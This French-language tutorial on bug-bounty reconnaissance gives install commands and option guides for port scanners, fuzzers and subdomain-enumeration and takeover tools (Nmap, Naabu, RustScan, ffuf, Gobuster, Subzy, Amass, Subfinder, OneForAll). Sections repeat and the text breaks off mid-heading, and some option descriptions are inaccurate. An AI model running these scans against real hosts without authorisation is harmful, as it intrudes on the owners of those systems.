Un article décrivant l’outil ffuf au complet est disponible ici. Dans ce présent article, nous décrirons juste son utilisation dans le brute force de sous-domaines pour découvrir des sous-domaines associés à un domaine principal

La documentation officielle de ffuf se retrouve sur GitHub.

Pour installer ffuf, utilisez la commande suivante:

git clone https://github.com/ffuf/ffuf
cd ffuf
go get
go build
#La commande suivante rend ffuf disponible depuis nimporte quelle répertoire
sudo ln -s ~/go/bin/ffuf /usr/sbin/ffuf

Options

• ffuf -h : l’option -h permet de lister toutes les options de ffuf

• ffuf -u http://FUZZ.site.com -w [wordlists/common.txt]

  • l’option -u permet de spécifier l’URL à analyser. Cette option est obligatoire. La commande remplacera le terme “FUZZ“ dans l’URL par chaque mot de la liste et envoie une requête http à cette URL. Le paramètre FUZZ est placé ici, avant le domaine principal indiquant l’endroit où ffuf remplacera chaque mot de la liste pour tester des sous-domaines. Cela permettra donc de découvrir les sous-domaines potentiels.

  • l’option -w spécifie le chemin du fichier contenant la liste de mots à utiliser pour le fuzzing (option obligatoire)

  • Chaque requête envoyée retournera donc un statut http de la réponse. En fonction de ce que l’on cherche à découvrir, un statut peut avoir une interprétation différente. Si par exemple on veut accéder à une page qui n’existe pas, mais on obtient un statut 200, cela indique une faille ou une mauvaise configuration.

Avec cette requête, on obtient un statut 200 qui indique donc que le chemin http://ffuf.me/cd/basic/class existe sur le serveur. Le fichier development.log existe aussi sur ce même serveur.

Subzy

Subzy est un outil utilisé pour détecter et prendre le contrôle (subdomain takeover) de sous-domaines vulnérables. Il s’utilise généralement lorsque des sous-domaines pointent vers des services inactifs ou mal configurés, favorisant ainsi une exploitation. Cet outil vérifie les sous-domaines pour voir s’ils sont configurés pour des services ne sont plus en usage.

Une documentation officielle se retrouve sur GitHub.

Pour installer Subzy, utilisez la commande suivante:

go install -v github.com/PentestPad/subzy@latest

Options

• subzy -h : l’option -h permet de voir la liste de toutes les options de Subzy

• subzy run -h: affiche les détails de la commande run de Subzy, qui détaille les options disponibles pour exécuter des vérifications de sous-domaines.

• subzy run --target [URL] --output [STRING] --https

  • l’option --target permet de spécifier un ou plusieurs domaines, séparés par une virgule.

  • l’option --output spécifie un fichier de sortie en format JSON des résultats

  • l’option --https force l’utilisation du protocole https pour les requêtes. Il est désactivé par défaut. Cela signifie que si un sous-domaine est spécifié sans protocole http://site.com, il sera testé avec https://site.com.

• subzy run --targets [PATH/TO/FILE] --hide_fails --verify_ssl

  • l’option --targets permet de spécifier un fichier contenant une liste de sous-domaines à tester.

  • l’option --hide_fails permet de masquer les résultats échoués. Seuls ceux qui réussissent (vulnérables) sont affichés.

  • l’option --verify_ssl permet de ne pas vérifier les sites avec des certificats SSL non sécurisés

Le message [NOT VULNERABLE] indique que les sous-domaines 00.paydiant.com et 11.paydiant.com ne sont pas vulnérables à une prise de contrôle avec l’outil Subzy.

Gobuster

Gobuster est outil écrit en langage Go utilisé pour le brute-force de répertoires et de sous-domaines. L’outil utlilise des listes mots qui peuvent être personnalisées afin de découvrir des sous-domaines cachés ou non référencés publiquement d'un domaine cible. Cet outil se distingue par sa rapidité par rapport aux autres outils.

La documentation officielle se retrouve sur GitHub.

Pour installer Gobuster, utilisez la commande suivante:

go install github.com/OJ/gobuster/v3@latest

Options

• gobuster -h permet de lister toutes les options de Gobuster

• Il existe plusieurs modes pour utiliser l’outil gobuster

• 

• • dns pour énumérer des sous-domaines DNS pour identifier des sous-domaines d'un domaine.

    • dir énumère les répertoires/fichiers pour découvrir des chemins sur un serveur web.

    • fuzz utilise le fuzzing sur les URLs en remplaçant le mot-clé FUZZ dans l'URL, les en-têtes et le corps de la requête pour tester différentes entrées.

    • tftp utilise l’énumération des serveurs TFTP (Trivial File Transfer Protocol)

• gobuster [MODE] -h permet de lister les options de chaque mode

• gobuster dir -u http://site.com -t 7 -w /PATH/TO/FILE -x php,html

  • l’option dir indique le mode utilisé, l’énumération de répertoires/fichiers

  • l’option -u spécifie l’URL cible

  • l’option -t permet de définir le nombre de threads à utiliser pour rendre l'exploration plus rapide.

  • l’option -x indique à l’outil d’explorer uniquement les répertoires avec les extensions spécifiées

  • l’option -w spécifie le chemin vers la liste de mots à utiliser.

• gobuster dns -d site.com -q -w /PATH/TO/FILE -i

  • l’option dns indique qu’il s’agit d’un brute force de sous-domaines

  • l’option -d spécifie le domaine cible

  • l’option -q active le mode silencieux pour réduire la sortie à l’écran et l’information inutile

  • l’option -i permet d’afficher les adresses IPs

En exécutant la commande gobuster dns hackerone.com -i -w common.txt, on voit que plusieurs sous-domaines ont été trouvés, avec des adresses IPs associées. La liste de mots a été utilisée pour tester les sous-domaines potentiels. Chaque entrée est ajoutée à hackerone.com pour vérifier si le sous-domaine existe.

La commande gobuster fuzz -u https://hackerone.com/FUZZ -w common.txt utilise le mode fuzzing pour tester différentes entrées sur le site spécifié. Le paramètre FUZZ sera remplacé par les mots de la liste fournie. On voit que les certaines ressources demandées n’ont pas été trouvées sur le serveur qui a répondu avec un statut d’erreur 404.

On pourrait donc essayer de filtrer les résultats et ignorer le statut 404 avec l’option -b ou --excludestatuscodes .

Plusieurs autres outils peuvent être utilisés dans ce cas, comme Sublist3r, Subfinder, ou encore OneForAll.

Pour finir, la collecte d’informations, l'exploration des sous-domaines, la découverte de liens, le scan des services, et les attaques par force brute sont des étapes clés en bug bounty. En utilisant des outils comme Google Dorking, Subfinder, Naabu, ffuf, et Gobuster, il est possible de trouver des vulnérabilités cachées et maximiser les chances de détecter des failles

À noter, qu’il est important de rappeler que l'utilisation de ces outils doit toujours se faire dans un cadre légal.

Il existe plusieurs type de scans:

• le scan de ports permet d’identifier des ports ouverts sur un système. Ces ports peuvent donc indiquer des services actifs qui peuvent être exploités. Nmap est l’outil le plus connu utilisé pour ce type de scan. Il existe aussi Naabu ou encore Rustscan.

• le scan web permet d’explorer les applications web dans le but de détecter des failles commes les injections SQL, les failles XSS, CSRF et d'autres vulnérabilités spécifiques aux applications web. Des outils comme Nikto, Burp Suite peuvent être utilisés pour ce type de scan

• le scan réseau permet d’analyser l’ensemble d’un réseau dans le but d’identifier les appareils connectés, les services et aussi les configurations réseau pouvant être vulnérables

• le scan de vulnérabilités permet de rechercher des failles de sécurité qui sont connues dans les systèmes. Ils sont généralement utilisés dans le cadre d’audit de sécurité et fournissent des rapports détaillés. Des outils comme Nessus, Qualys peuvent être utilisés dans ce cas. Ces deux outils sont payants, mais disposent aussi de plans limités qui sont gratuits. Nikto peut aussi être utilisé.

Naabu

Naabu est un scanner de ports devéloppé par Project Discorvery et écrit en langage Go, pour identifier les services ouverts sur une machine ou un réseau. Il est connu pour être plus rapide, avec beaucoup d’options, comme le fait de pouvoir exclure des ports, scanner toute une liste de ports ou encore le combiner avec Nmap pour avoir des résultats plus détaillés. Vous pouvez l’installer directement via Github.

Installez d’abord Go sur votre machine avec la commande suivante:

sudo apt install golang-go

Installez ensuite l’outil Naabu

go install -v github.com/projectdiscovery/naabu/v2/cmd/naabu@latest

Options

• naabu -h : l’option -h permet de lister toutes les options de Naabu

• naabu -host [DOMAIN/IP] -exclude-ports [PORT,PORT] -json

  • l’option -host définit le domaine ou l’adresse IP à scanner

  • l’option -p permet de scanner un port spécifique

  • l’option -exclude-ports permet d’exclure des ports lors du scan

  • l’option -json permet d’avoir les résultats en format JSON

• naabu -list [domains.txt] -o [output.json]

  • L’option -list ou -l effectue un scan avec un fichier contenant une liste de domaines ou d’adresses IP

  • l’option -o pour sauvegarder les résultats dans un fichier

• naabu -host [DOMAIN/IP] -p [PORTS] -nmap-cli 'nmap -sV -Pn'

  • L’option -nmap-cli permet d’exécuter la commande nmap directement sur les résultats obtenus. Nmap doit être déjà installé pour que ca fonctionne.

  • Cette commande exécute Naabu pour scanner les ports spécifiés sur le domaine puis lance le service nmap sur chaque port.

Il est aussi possible de combiner Naabu avec ASNmap avec la commande suivante:

•         asnmap -a ASXXXX -silent | naabu -p 22,80 -silent
  

Cette commande va d’abord récupérer les plages d’adresses IP associées à l’ASN en mode silent et ensuite scanner les ports 22 et 80 avec Naabu. Si vous n’êtes pas familier avec ASNMAP, vous pouvez lire un article à ce sujet ici.

Rustscan

RustScan est aussi un scanner de ports, écrit en langage Rust, beaucoup plus rapide et capable d’intégrer des outils comme Nmap pour des analyses plus détaillées. RustScan redirige directement ses résultats vers Nmap pour d’autres anlayses. Il est aussi possible de les modifier à votre guise.

Vous pouvez accéder au dépôt depuis la biliothèque officiel sur Github.

Téléchargement sur Kali Linux

Téléchargez le fichier d’installation depuis le terminal. Il existe plusieurs versions de Rustscan.

wget https://github.com/RustScan/RustScan/releases/download/2.0.1/rustscan_2.0.1_amd64.deb

Se déplacer vers le dossier Downloads et modifiez les permissions du fichier installé en le rendant exécutable.

cd Downloads
sudo chmod +x rustscan_2.0.1_amd64.deb

Installez le package Debian

sudo dpkg -i rustscan_2.0.1_amd64.deb

En cas de problèmes, exécutez la commande suivante:

sudo apt update
sudo apt upgrade

Si vous rencontrez des problèmes de dépendances, exécutez la commande suivante :

sudo apt-get install -f

RustScan devrait être maintenant installé .

Options

• rustscan -a [DOMAINE/IP] -p [PORT,PORT] -b -g

  • l’option -a spécifie l’adresse ou le domine cible

  • l’option -p permet de spécifier un ou plusieurs ports

  • l’option -b permet de limiter la bande passante et éviter de surcharger le réseau pendant le scan.

  • l’option -g simplifie l’analyse qui n'affiche que les ports ouverts détectés, sans les détails de Nmap

• rustscan -a [DOMAINE/IP] -- -sV --script vuln

  • l’option -- termine les arguments de RustScan. Tous les argument suivants sont directement passés à Nmap

  • l’option -sV de Nmap active la détection des services et leurs versions sur les ports ouverts

  • l’option --script vuln détecte les vulnérabilités sur les services

Ici on scanne les ports 22,80 et 445 de l’adresse 192.168.2.96. Le double-tiret indique les options sont passées à Nmap, avec l’option -sV, pour détecter la version des services.

Nmap

Nmap est un outil de scan qui permet aussi d’analyser un réseau ou une application web pour identifier des vulnérabilités potentielles. Il est utilisé pour scanner les ports et identifier les services actifs.

La documentation officielle de nmap se retrouve sur le site officiel.

Pour installer nmap , utilisez la commande suivante:

sudo apt install nmap

Options

• nmap -h : l’option -h permet de lister toutes les options de nmap

• nmap -sn 192.168.1.0/24

  • Cette commande exécute un scan de découverte réseau aussi appelé ping scan. Elle scanne toute les adresses dans la plage 192.168.1.1 à 192.168.1.254.

  • L’option -sn indique à nmap de ne pas effectuer de scan de ports, mais vérifie simplement les hôtes actifs sur le réseau

• nmap -sS -sV -O --script vuln [IP_ADRESS]

  • l’option -sS effectue un scan SYN rapide et discret. Il n’établit pas de connexion complète avec la cible,ce qui rend l’analyse moins visible par des sytèmes de détection par exemple.

  • l’option -sV permet de détecter les versions des services en cours sur les ports ouverts sur la machine

  • l’option -O permet de déterminer le système d’exploitation de la cible

  • l’option --script vuln exécute des scripts qui permettent de détecter les vulnérabilités connues sur la cible.

• nmap -T4 -sC -p 80,21 [IP_ADRESS]

  • l’option -T4 permet de définir le niveau d'agressivité du scan et va de -T0 à T5. Cela permet de définir la vitesse d’exécution du scan, ce qui peut la rendre plus rapide, mais aussi détectable par des systèmes de détection

  • l’option -sC exécute les scripts par défaut de nmap via le Nmap Scripting Engine (NSE) pour la détection de versions et la recherche de vulnérabilités.

  • l’option -p spécifie les ports à scanner

Voici un document qui détaille toutes les options de nmap : Nmap-Cheat-Sheet.pdf

nmap -T4 -sC -sV 10.192.160.244

La commande suivante utilise l’outil nmap pour une analyse sur l’adresse 10.192.160.244. On voit donc que 4 ports TCP ont été trouvés ainsi que des services ssh, dnsmasq et http.

À noter, qu’il est important de rappeler que l'utilisation de ces outils doit toujours se faire dans un cadre légal.

Ffuf

Fast fuzzer (ffuf) est un outil outil open-source de fuzzing et de force brute, écrit en langage Go, utilisé pour découvrir des ressources web telles que des fichiers, des répertoires, et des sous-domaines. Le fuzzing est une méthode qui consiste à envoyer des données aléatoires, mal formées ou anormales à un système pour tester ses réponses, ce qui pourrait conduire à la découverte de vulnérabilités.

Un article décrivant l’outil ffuf au complet est disponible ici. Dans ce présent article, nous décrirons juste son utilisation dans le brute force de sous-domaines pour découvrir des sous-domaines associés à un domaine principal

La documentation officielle de ffuf se retrouve sur GitHub.

Pour installer ffuf, utilisez la commande suivante:

git clone https://github.com/ffuf/ffuf
cd ffuf
go get
go build
#La commande suivante rend ffuf disponible depuis nimporte quelle répertoire
sudo ln -s ~/go/bin/ffuf /usr/sbin/ffuf

Options

• ffuf -h : l’option -h permet de lister toutes les options de ffuf

• ffuf -u http://FUZZ.site.com -w [wordlists/common.txt]

  • l’option -u permet de spécifier l’URL à analyser. Cette option est obligatoire. La commande remplacera le terme “FUZZ“ dans l’URL par chaque mot de la liste et envoie une requête http à cette URL. Le paramètre FUZZ est placé ici, avant le domaine principal indiquant l’endroit où ffuf remplacera chaque mot de la liste pour tester des sous-domaines. Cela permettra donc de découvrir les sous-domaines potentiels.

  • l’option -w spécifie le chemin du fichier contenant la liste de mots à utiliser pour le fuzzing (option obligatoire)

  • Chaque requête envoyée retournera donc un statut http de la réponse. En fonction de ce que l’on cherche à découvrir, un statut peut avoir une interprétation différente. Si par exemple on veut accéder à une page qui n’existe pas, mais on obtient un statut 200, cela indique une faille ou une mauvaise configuration.

Avec cette requête, on obtient un statut 200 qui indique donc que le chemin http://ffuf.me/cd/basic/class existe sur le serveur. Le fichier development.log existe aussi sur ce même serveur.

Subzy

Subzy est un outil utilisé pour détecter et prendre le contrôle (subdomain takeover) de sous-domaines vulnérables. Il s’utilise généralement lorsque des sous-domaines pointent vers des services inactifs ou mal configurés, favorisant ainsi une exploitation. Cet outil vérifie les sous-domaines pour voir s’ils sont configurés pour des services ne sont plus en usage.

Une documentation officielle se retrouve sur GitHub.

Pour installer Subzy, utilisez la commande suivante:

go install -v github.com/PentestPad/subzy@latest

Options

• subzy -h : l’option -h permet de voir la liste de toutes les options de Subzy

• subzy run -h: affiche les détails de la commande run de Subzy, qui détaille les options disponibles pour exécuter des vérifications de sous-domaines.

• subzy run --target [URL] --output [STRING] --https

  • l’option --target permet de spécifier un ou plusieurs domaines, séparés par une virgule.

  • l’option --output spécifie un fichier de sortie en format JSON des résultats

  • l’option --https force l’utilisation du protocole https pour les requêtes. Il est désactivé par défaut. Cela signifie que si un sous-domaine est spécifié sans protocole http://site.com, il sera testé avec https://site.com.

• subzy run --targets [PATH/TO/FILE] --hide_fails --verify_ssl

  • l’option --targets permet de spécifier un fichier contenant une liste de sous-domaines à tester.

  • l’option --hide_fails permet de masquer les résultats échoués. Seuls ceux qui réussissent (vulnérables) sont affichés.

  • l’option --verify_ssl permet de ne pas vérifier les sites avec des certificats SSL non sécurisés

Le message [NOT VULNERABLE] indique que les sous-domaines 00.paydiant.com et 11.paydiant.com ne sont pas vulnérables à une prise de contrôle avec l’outil Subzy.

Gobuster

Gobuster est outil écrit en langage Go utilisé pour le brute-force de répertoires et de sous-domaines. L’outil utlilise des listes mots qui peuvent être personnalisées afin de découvrir des sous-domaines cachés ou non référencés publiquement d'un domaine cible. Cet outil se distingue par sa rapidité par rapport aux autres outils.

La documentation officielle se retrouve sur GitHub.

Pour installer Gobuster, utilisez la commande suivante:

go install github.com/OJ/gobuster/v3@latest

Options

• gobuster -h permet de lister toutes les options de Gobuster

• Il existe plusieurs modes pour utiliser l’outil gobuster

• 

• • dns pour énumérer des sous-domaines DNS pour identifier des sous-domaines d'un domaine.

    • dir énumère les répertoires/fichiers pour découvrir des chemins sur un serveur web.

    • fuzz utilise le fuzzing sur les URLs en remplaçant le mot-clé FUZZ dans l'URL, les en-têtes et le corps de la requête pour tester différentes entrées.

    • tftp utilise l’énumération des serveurs TFTP (Trivial File Transfer Protocol)

• gobuster [MODE] -h permet de lister les options de chaque mode

• gobuster dir -u http://site.com -t 7 -w /PATH/TO/FILE -x php,html

  • l’option dir indique le mode utilisé, l’énumération de répertoires/fichiers

  • l’option -u spécifie l’URL cible

  • l’option -t permet de définir le nombre de threads à utiliser pour rendre l'exploration plus rapide.

  • l’option -x indique à l’outil d’explorer uniquement les répertoires avec les extensions spécifiées

  • l’option -w spécifie le chemin vers la liste de mots à utiliser.

• gobuster dns -d site.com -q -w /PATH/TO/FILE -i

  • l’option dns indique qu’il s’agit d’un brute force de sous-domaines

  • l’option -d spécifie le domaine cible

  • l’option -q active le mode silencieux pour réduire la sortie à l’écran et l’information inutile

  • l’option -i permet d’afficher les adresses IPs

En exécutant la commande gobuster dns hackerone.com -i -w common.txt, on voit que plusieurs sous-domaines ont été trouvés, avec des adresses IPs associées. La liste de mots a été utilisée pour tester les sous-domaines potentiels. Chaque entrée est ajoutée à hackerone.com pour vérifier si le sous-domaine existe.

La commande gobuster fuzz -u https://hackerone.com/FUZZ -w common.txt utilise le mode fuzzing pour tester différentes entrées sur le site spécifié. Le paramètre FUZZ sera remplacé par les mots de la liste fournie. On voit que les certaines ressources demandées n’ont pas été trouvées sur le serveur qui a répondu avec un statut d’erreur 404.

On pourrait donc essayer de filtrer les résultats et ignorer le statut 404 avec l’option -b ou --excludestatuscodes .

Plusieurs autres outils peuvent être utilisés dans ce cas, comme Sublist3r, Subfinder, Ammas et surtout OneForAll.

À noter, qu’il est important de rappeler que l'utilisation de cet outil doit toujours se faire dans un cadre légal.

Crt.sh

Crt.sh est un outil en ligne qui permet de rechercher et de consulter des certificats SSL/TLS pour divers domaines. Il peut aussi bien être utilisé pour trouver des sous-domaines. En recherchant un domaine principal, on peut voir les certificats associés, mais aussi ceux émis pour ses sous-domaines. Les recherches peuvent donc se poursuivre avec ces sous-domaines avec d’autres outils.

Virus Total

VirusTotal est un outil en ligne qui permet d’analyser des fichiers, des URLs afin de détecter de potentiels virus. Il effectue une analyse complète en utilisant plusieurs moteurs antivirus et outils de détections d’URLs. Il peut aussi être utilisé pour rechercher des sous-domaines et d’autres informations.

Les sous-domaines associés à la recherche seront listés dans l’onglet Relations. La photo ci-dessous montre une liste de sous domaines associés à Amazon.ca.

Amass

Amass est un outil développé par l'OWASP (Open Web Application Security Project) qui est aussi utilisé pour l’identification de sous-domaines et des adresses IP associées en utilisant des sources publiques commes des APIs, des certificats SSL, des DNS etc.

La documentation officielle se retrouve sur GitHub.

Pour installer Amass, utilisez la commande suivante:

go install -v github.com/owasp-amass/amass/v4/...@master

Options

• amass enum : ce mode est utilisé pour l’énumération des sous-domaines en utilisant des sources publiques et des techniques de reconnaissance active.

• amass intel: ce mode est utilisé pour découvrir des domaines et d'autres actifs qui peuvent être explorés plus en détail lors du processus d'énumération

• amass enum -d website.com -active -brute -aw /PATH -bl “word“

  • l’option -d spécifie le domaine dont on veut énumérer les sous-domaines

  • l’option -active permet de découvrir des sous-domaines actifs

  • l’option -aw permet de spécifier un fichier de liste de mots qui sera utilisé pour les altérations des noms des sous-domaines. Cela permet de modifier dynamiquement les sous-domaines en ajoutant des termes dans les noms des sous-domaines non visibles dans les résultats de DNS standards.

  • l’option -bl permet de spécifier des domaines à exclure de la recherche

L’image ci-dessous montre la commande amass utilisée, qui a découvert plusieurs informations dont des enregistrements MX, A, AAAA et plusieurs autres sous-domaines. On y retrouve aussi des informations ASN de CloudFlare, qui gère probablement les adresses IP de ces sous-domaines là.

Chaos projectdiscovery

Chaos est un projet de ProjectDiscovery qui fournit des informations sur les sous-domaines. Il dispose d’une base données avec un grand nombre de sous-domaines pour les domaines publics, mis à jour régulièrement.

Il suffit donc de télécharger le fichier .zip et on obtient une liste de sous-domaines associés au terme ou au domaine dans la recherche.

Chaos ProjectDiscovery est un projet open-source et peut être aussi utilisé via GitHub. L’utilisation de cet outil avec l’API en ligne de commande est beaucoup plus flexible et puissante en terme de recherches. En utilisant l’outil en ligne de commande, on obtient une liste plus complète, contrairement à la version web où l’utilisation peut ne retourner aucun résultat pour certains domaines

Pour l’installer, utilisez la commande suivante:

go install -v github.com/projectdiscovery/chaos-client/cmd/chaos@latest

Options

• chaos -h : cette option liste toutes les options de Chaos ProjectDiscovery

• export PDCP_API_KEY=[API_ KEY]

  • cette option permet de spécifier la clé API qui peut être obtenue simplement en s’inscrivant sur le site

  • la clé API doit être spécifiée obligatoirement pour l’utilisation en ligne de commande

• chaos -d [site.com] -count -o list.txt

  • l’option -d spécifie le domaine à analyser

  • l’option -count affiche le nombre de sous-domaines sans les lister

  • l’option -o spécifie un fichier (ici list.txt) pour stocker la sortie

• chaos -dL [list_domains.txt] -json | grep [STRING] > list.txt

  • l’option -dL spécifie un fichier contenant une liste de domaines à analyser

  • l’option -json affiche la sortie en format JSON

  • l’option grep filtre les résultats de la recherche selon le string défini et les enregistre dans le fichier list.txt

Subfinder

Subfinder est outil d’énumération de sous-domaines écrit en langage Go, développé par ProjectDiscovery. Il est utilisé pour effectuer une énumération passive des sous-domaines d’un domaine cible, c’est-à-dire, qu'il utilise des sources en ligne publiques pour identifier les sous-domaines sans interagir directement avec les serveurs cibles. Il utilise des sources comme Censys, Chaos, Recon.dev, Shodan, Spyse, Virustotal etc.

La documentation officielle se retrouve sur GitHub.

Pour installer Subfinder, utilisez la commande suivante:

go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest

Options

• subfinder -h : l’option -h permet de lister toutes les options de subfinder

• subfinder -ls: l'option -ls permet de lister toutes les sources de données possibles

• subfinder -d [site.com] -all -json -cs -o [list.txt]

  • l’option -d spécifie le domaine à analyser

  • l’option -all permet d’utiliser toutes les sources pour l’énumération.

  • l’option -json affiche la sortie en format JSON

  • l’option -cs permet d’afficher la source dans le résultat de la commande

  • l’option -o enregistre les résultats dans un fichier

Ici, on analyse le domaine hackerone.com en affichant les sources de chaque sous-domaine avec l’option -cs, et en excluant les sources du serveur google 8.8.8.8 avec l’option -es.

• subfinder -dL [list_domains.txt] -s/-es [SOURCES] -rl [INT]

  • l’option -dL spécifie un fichier contenant une liste de domaines à analyser

  • l’option -s spécifie les sources à utiliser lors de la recherche

  • l’option -es exclut les sources lors de la recherche

  • l’option -rl détermine le nombre de requêtes https par secondes. Cela limite et évite la surcharge

• subfinder -d hackerone.com --active -oI

  • l’option --active ou -nW vérifie les sous-domaines en temps réel. Elle vérifie si les sous-domaines sont actifs et répondent aux requêtes, sinon, ils ne sont pas listées.

  • l’option -oI ou -ip permet d’inclure les adresses IP des sous-domaines dans le résultat. Cette option ne s’utilise qu’en combinaison avec l’option --active ou -nW

Assetfinder

Assetfinder est aussi un outil développé en langage Go, utilisé pour énumérer des sous-domaines associé à un domaine principal. Il utilise des sources comme, certspotter, hackertarget, facebook, virustotal etc.

La documentation officielle se retrouve sur GitHub.

Pour installer Assetfinder, utilisez la commande suivante:

go install github.com/tomnomnom/assetfinder

Options

• assetfinder -h : l’option -h permet de lister toutes les options de assetfinder

• assetfinder -subs-only [SITE.COM] > list.txt

  • l’option -subs-only limite la sortie aux sous-domaines du domaine cible. Cette option est la seule disponible pour assetfinder.

Sublist3r

Sublist3r est un outil d’énumération de sous domaines en utilisant des moteurs de recherche et d'autres sources en ligne. Il intègre l’outil Subbrute, un outil de brute force pour l'énumération de sous-domaines, afin d'augmenter la capacité de trouver plus de sous-domaines. Subbrute utilise une liste de mots améliorée pour tester de manière systématique des sous-domaines potentiels.

La documentation officielle se retrouve sur GitHub.

Pour installer Sublist3r, utilisez la commande suivante:

git clone https://github.com/aboul3la/Sublist3r.git
cd Sublist3r
pip install -r requirements.txt

Options

• python sublist3r.py -h : l’option -h permet de lister toutes les options de sublist3r

• python sublist3r.py -b -d [site.com] -p 80,21 -o result.txt

  • l’option -d permet de spécifier le domaine cible

  • l’option -b active le mode brute force; ceci permet de découvrir les sous-domaines

  • l’option -p spécifie les ports à tester pour vérifier si un sous-domaine est actif sur ces ports.

  • l’option -o enregistre les résultats dans un fichier

• python sublist3r.py -e google,virustotal -v -d [site.com]

  • l’option -e permet de spécifier le moteur de recherche à utiliser

  • l’option -v active le mode verbeux, ce qui permet d'afficher plus de détails pendant l'exécution du script et les sous-domaines en temps réel.

La commande ci-dessous exécutée, enumère les sous-domaines de google.com et active le mode verbeux, ce qui permet d’afficher les sous-domaines en temps réel.

La commande recherche les sous-domaines sur plusieurs sources dont Baidu, Yahoo,Google,Bing, SSL Certificates etc.

OneForAll

OneForAll est un outil d’énumération de sous-domaines utilisé pour lister les sous-domaines d’un domaine principal. Cet outil utilse plusieurs techniques comme la résolution de DNS, le brute-forcing des sous-domaines et collecte aussi des données à partir de sources publiques que d’autres outils n’interrogent pas généralement. OneForAll règle le problème de puissance ou encore d’efficacité qu’on peut voir avec d’autres outils.

La documentation officielle se retrouve sur GitHub.

Pour installer OneForAll, utilisez les commandes suivantes:

Vérifiez d’abord les versions de Python et pip3 . La version de Python3 doit être supérieure à 3.6.0 et la version de pip3, supérieure à 19.2.2.

python -V
pip3 -V

Clonez le dépôt du projet.

git clone https://github.com/shmilylty/OneForAll.git

Créez un environnement virtuel pour séparer l’installation de votre environnement python.

virtualenv -p python3 .venv
source .venv/bin/activate

Installez les dépendances

cd OneForAll
python3 -m pip install -U pip setuptools wheel
pip3 install -r requirements.txt

Options

• python3 oneforall.py -h : cette option permet de lister toutes les options de OneForAll

• python oneforall.py --target [site.com] --brute FALSE --dns FALSE --valid TRUE run

  • l’option --target permet de spécifier l’URL ou le domaine à analyser

  • l’option --brute permet d’activer/désactiver le module de bruteforce pour rechercher les sous-domaines. Par défaut, l’option est activée

  • l’option --dns permet d’activer/désactiver la résolution DNS lors de l’analyse des sous-domaines. Cette option est aussi activée par défaut.

  • l’option --valid permet de spécifier que seuls les sous-domaines actifs et valides seront pris en compte. L’outil va donc interroger chaque sous-domaine afin de vérifier leur validité.

• python oneforall.py --targets list_urls.txt --takeover TRUE --path /PATH/TO/FILE run

  • l’option --targets permet de spécifier une liste de domaines contenue dans un fichier

  • l’option --takeover permet de vérifier si un sous-domaine trouvé est vulnérable à une prise de contrôle de sous-domaine (subdomain takeover). Cette option est cruciale dans l’identification des sous-domaines mal configurés. Elle est par défaut désactivée.

  • l’option --path spécifie le chemin du fichier où seront stockés les résultats de la collecte de sous-domaines. Lorsqu’un fichier n’est pas spécifié, OneForAll générera automatiquement un fichier de résultats.

  • Comme le montre l’image ci-dessous, l'outil génère automatiquement un fichier .csv qui répertorie les résultats, dans le dossier /results

    

Interprétation des résultats

Les résultats de la commande OneForAll sur https://hackerone.com montrent les modules exécutés ainsi que le nombre de sous-domaines trouvés. Par exemple, avec les résultats de cette requête, on voit que le module CertInfo a trouvé 4 sous-domaines en 0,1 seconde, l'accès au site dnsgrep.cn a été refusé (statut403) et d’autres informations.

Les serveurs a.ns.hackerone.com et b.ns.hackerone.com ont aussi été trouvés, ce qui a permis de retourner les adresses IP 162.159.0.31 et 162.159.1.31.

Les sous-domaines trouvés seront répertoriés dans le dossier /results par défaut dans un fichier csv qui peut être compliqué à lire. Vous pouvez formater les colonnes à l’affichage avec les commandes column et less:

column -s, -t < hackerone.com.csv | less -#2 -N -S

• L’option -s, (-s suivi de la virgule) spécifie que la virgule ( , ) est le délimiteur qui sépare les colonnes dans le fichier csv

• L’option -t indique à column de créer un tableau avec des colonnes alignées

• < hackerone.com.csv permet une redirection du contenu du fichier hackerone.com.csv comme entrée pour la commande column

• less -#2 -N -S permet de paginer la sortie avec less, affiche les numéros de ligne avec -N, permet un défilement horizontal avec -S, et définit l'espacement des tabulations à 2 avec -#2. Vous pouvez quitter l’affichage avec la touche q .

Le fichier avec les résultats avec un affiche standard se présente comme suit:

On passe donc de l’affichage de l’image au dessus à ceux en dessous avec la commande column -s, -t < hackerone.com.csv | less -#2 -N -S .

L’énumération de sous-domaines est une étape cruciale dans la collecte d’informations, permettant d’identifier des parties d’un domaine qui pourraient être mal configurées ou vulnérables. Avec des outils comme OneForAll, Subfinder pour une recherche passive, Assetfinder pour sa rapidité, et Sublist3r pour combiner recherche passive et brute force, on a donc des informations précieuses sur l'infrastructure d'un domaine

À noter, qu’il est important de rappeler que l'utilisation de ces outils doit toujours se faire dans un cadre légal.

La documentation officielle se retrouve sur GitHub.

Pour installer OneForAll, utilisez les commandes suivantes:

Vérifiez d’abord les versions de Python et pip3 . La version de Python3 doit être supérieure à 3.6.0 et la version de pip3, supérieure à 19.2.2.

python -V
pip3 -V

Clonez le dépôt du projet.

git clone https://github.com/shmilylty/OneForAll.git

Créez un environnement virtuel pour séparer l’installation de votre environnement python.

virtualenv -p python3 .venv
source .venv/bin/activate

Installez les dépendances

cd OneForAll
python3 -m pip install -U pip setuptools wheel
pip3 install -r requirements.txt

Options

• python3 oneforall.py -h : cette option permet de lister toutes les options de OneForAll

• python oneforall.py --target [site.com] --brute FALSE --dns FALSE --valid TRUE run

  • l’option --target permet de spécifier l’URL ou le domaine à analyser

  • l’option --brute permet d’activer/désactiver le module de bruteforce pour rechercher les sous-domaines. Par défaut, l’option est activée

  • l’option --dns permet d’activer/désactiver la résolution DNS lors de l’analyse des sous-domaines. Cette option est aussi activée par défaut.

  • l’option --valid permet de spécifier que seuls les sous-domaines actifs et valides seront pris en compte. L’outil va donc interroger chaque sous-domaine afin de vérifier leur validité.

• python oneforall.py --targets list_urls.txt --takeover TRUE --path /PATH/TO/FILE run

  • l’option --targets permet de spécifier une liste de domaines contenue dans un fichier

  • l’option --takeover permet de vérifier si un sous-domaine trouvé est vulnérable à une prise de contrôle de sous-domaine (subdomain takeover). Cette option est cruciale dans l’identification des sous-domaines mal configurés. Elle est par défaut désactivée.

  • l’option --path spécifie le chemin du fichier où seront stockés les résultats de la collecte de sous-domaines. Lorsqu’un fichier n’est pas spécifié, OneForAll générera automatiquement un fichier de résultats.

  • Comme le montre l’image ci-dessous, l'outil génère automatiquement un fichier .csv qui répertorie les résultats, dans le dossier /results

    

Interprétation des résultats

